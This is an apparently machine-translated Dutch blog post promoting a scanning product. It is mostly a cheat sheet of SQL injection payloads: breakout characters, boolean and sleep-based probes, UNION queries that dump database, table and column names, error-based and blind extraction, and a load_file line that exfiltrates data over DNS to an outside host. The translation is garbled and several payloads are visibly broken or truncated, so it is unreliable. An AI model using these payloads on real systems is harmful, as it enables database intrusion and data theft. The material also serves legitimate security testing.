SQL Injection Payloads: hoe sqli werkt
Wat is een SQL Injection payload?
SQL Injection is een beveiligingsprobleem op het web dat aanvallers in staat stelt gegevens te bekijken die ze niet zouden moeten kunnen, door de aanvaller toe te staan de query ‘ s die een applicatie in zijn database plaatst te verstoren door schadelijke payloads voor SQL-injectie te injecteren.
leer meer over SQL-injectieaanvallen in deze blogpost – Wat zijn SQL-injecties en hoe kunnen ze worden voorkomen
in deze blogpost gaan we beschrijven hoe te controleren of een website kwetsbaar is voor SQLi en de verschillende SQL-injectiepayloads die worden gebruikt om verschillende soorten SQL-injectiekwetsbaarheden te exploiteren.
in dit artikel:
bevestiging van SQLi: Entry point detection
om te identificeren of uw toepassingen kwetsbaar zijn voor SQLi en u de payloads die volgen kunt gebruiken, moet u eerst in staat zijn om gegevens in de query te injecteren zonder deze te breken. De eerste stap is om uit te vinden hoe te ontsnappen aan de huidige context.
probeer een van deze nuttige voorbeelden:
'
"
`
')
")
`)
'))
"))
`))
om de query op te lossen kunt u gegevens invoeren zodat de vorige query de nieuwe gegevens accepteert, of u kunt gegevens invoeren en een commentaarsymbool toevoegen aan het einde.
deze fase zal gemakkelijker zijn als u foutmeldingen kunt zien of u kunt vaststellen of /wanneer een query werkt of niet.
MySQL
#comment
-- comment
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments
bevestiging van SQLi met behulp van logische bewerkingen
kunt u een kwetsbaarheid voor SQL-injectie bevestigen door een logische bewerking uit te voeren. Als je het verwachte resultaat krijgt, heb je sqli bevestigd.
zo ziet het er in de praktijk uit:
als de parameter GET ?username=John
dezelfde inhoud geeft als ?username=John'
of '1'='1
dan vond u een kwetsbaarheid voor SQL-injectie.
dit concept werkt ook voor wiskundige bewerkingen:
als ?id=1
hetzelfde geeft als ?id=2-1
, hebt u een kwetsbaarheid voor SQL-injectie gevonden.
page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false
bevestiging van SQL-injectie met Timing
in sommige gevallen wanneer u probeert een SQLi te bevestigen, zal er geen merkbare verandering zijn op de pagina die u test. Dit geeft een blinde SQL aan, die kan worden geïdentificeerd door de database acties te laten uitvoeren die van invloed zijn op de tijd die de pagina nodig heeft om te laden.
we gaan aan de SQL-query een bewerking toevoegen die langer duurt om uit te voeren, zoals het uitvoeren van het volgende::
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND =DBMS_PIPE.RECEIVE_MESSAGE('',)
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND =LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
de slaap functies zijn niet altijd toegestaan, dus maak een query uitvoeren van complexe bewerkingen die in plaats daarvan enkele seconden zal duren.
Identificatie van de Back-end
verschillende backends hebben verschillende functies, die kunnen worden geïdentificeerd bij het uitvoeren van deze functies. Voorbeelden van deze functies zijn:
MySQL,
,
,
MSSQL,
,
,
,
,
Oracle,
,
,
PostgreSQL,
,
,
,
,
,
SQLite,
,
,
MS Access,
,
,
,
,
Unie op Basis SQL-Injectie Laadvermogen
het Opsporen aantal kolommen
Beide query ‘ s (de originele, en we veranderen) moet hetzelfde aantal kolommen. Maar hoe weten we het aantal kolommen dat het eerste verzoek retourneert? We gebruiken meestal een van de twee volgende methoden om het aantal kolommen te krijgen:
volgorde / groeperen door
hoewel GROUP BY
en ORDER BY
verschillende functies in SQL hebben, kunnen beide worden gebruikt om het aantal kolommen in de query te bepalen. Verhoog het aantal totdat u een false antwoord krijgt:
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
UNION SELECT
in het geval van UNION SELECT een toenemend aantal nulwaarden invoeren totdat de query geldig is:
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
Waarom worden null-waarden gebruikt? Er zijn gevallen waarin het type van de kolommen aan beide zijden van de query hetzelfde moet zijn. Null IS in alle gevallen geldig.
databasenamen, tabellen en kolomnamen extraheren
In de volgende voorbeelden gaan we de naam van alle databases, de tabelnamen uit een database en de kolomnamen van de tabel ophalen:
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=
de methode die wordt gebruikt om deze gegevens te ontdekken zal verschillen van de database zelf, maar het is altijd dezelfde methodologie.
Error based SQL Injection Payloads
als de query-uitvoer niet zichtbaar is, maar u de foutmeldingen kunt zien, kunt u deze foutmeldingen laten werken zodat u de gegevens uit de database kunt verwijderen.
vergelijkbaar met het voorbeeld van Union gebaseerde exploitatie, kunt u de database dumpen:
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
Payloads
in het geval van blinde SQL-injectie kunt u de resultaten van de query of de fouten niet zien, maar u kunt wel onderscheiden wanneer de query een true of een false antwoord gaf op basis van de verschillende inhoud op de pagina.
u kunt misbruik maken van dat gedrag om de database char te dumpen door char:
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
fout Blind SQL injectie Payloads
zoals de naam al aangeeft, is dit zeer vergelijkbaar met Blind SQL injectie, maar deze keer hoeft u geen onderscheid te maken tussen een true of false respons. U controleert of er een fout is in de SQL query of niet, door een SQL-fout te forceren elke keer dat u het teken correct raadt:
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
op tijd gebaseerde SQL Injection Payloads
u kunt deze techniek vooral gebruiken wanneer u op het punt staat blinde kwetsbaarheden te exploiteren waarbij u een tweede query gebruikt om een DNS lookup, voorwaardelijke fout of een vertraging te activeren.
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
gestapelde query ‘s
gestapelde query’ s kunnen worden gebruikt om meerdere query ‘ s achter elkaar uit te voeren. Terwijl de volgende query ‘ s worden uitgevoerd, worden de resultaten niet teruggestuurd naar de toepassing. U kunt deze techniek gebruiken wanneer blinde kwetsbaarheden waarbij u een tweede query gebruikt om een DNS lookup, voorwaardelijke fout of een vertraging te activeren.
terwijl Oracle en MySQL gestapelde query ‘ s niet ondersteunen, ondersteunen Microsoft en PostgreSQL ze wel: QUERY-1-HERE; QUERY-2-HERE
Out of band Sqli Payloads
als geen van de hierboven genoemde exploitatiemethoden voor u werkte, kunt u proberen om de database exfiltrate de gegevens naar een externe host gecontroleerd door u. U kunt bijvoorbeeld DNS-queries gebruiken:
select load_file(concat('\\',version(),'.hacker.site\a.txt'));
Detecteer SQL Injection met behulp van Nexploit
NeuraLegion ‘ s Nexploit automatiseert de detectie en herstel van honderden kwetsbaarheden, waaronder SQL injection.
door DAST-scans vroeg in het ontwikkelingsproces te integreren, kunnen ontwikkelaars en experts op het gebied van applicatiebeveiliging kwetsbaarheden vroegtijdig detecteren en verhelpen voordat ze in productie verschijnen.
met Nexploit worden de scans binnen enkele minuten gedaan en de resultaten komen met nul false positieven. Dit stelt ontwikkelaars in staat om de oplossing te nemen en te gebruiken gedurende de gehele ontwikkelingscyclus.
Scan elke web-app of API om kwetsbaarheden in SQL – injectie te voorkomen-probeer NeuraLegion nexploit free.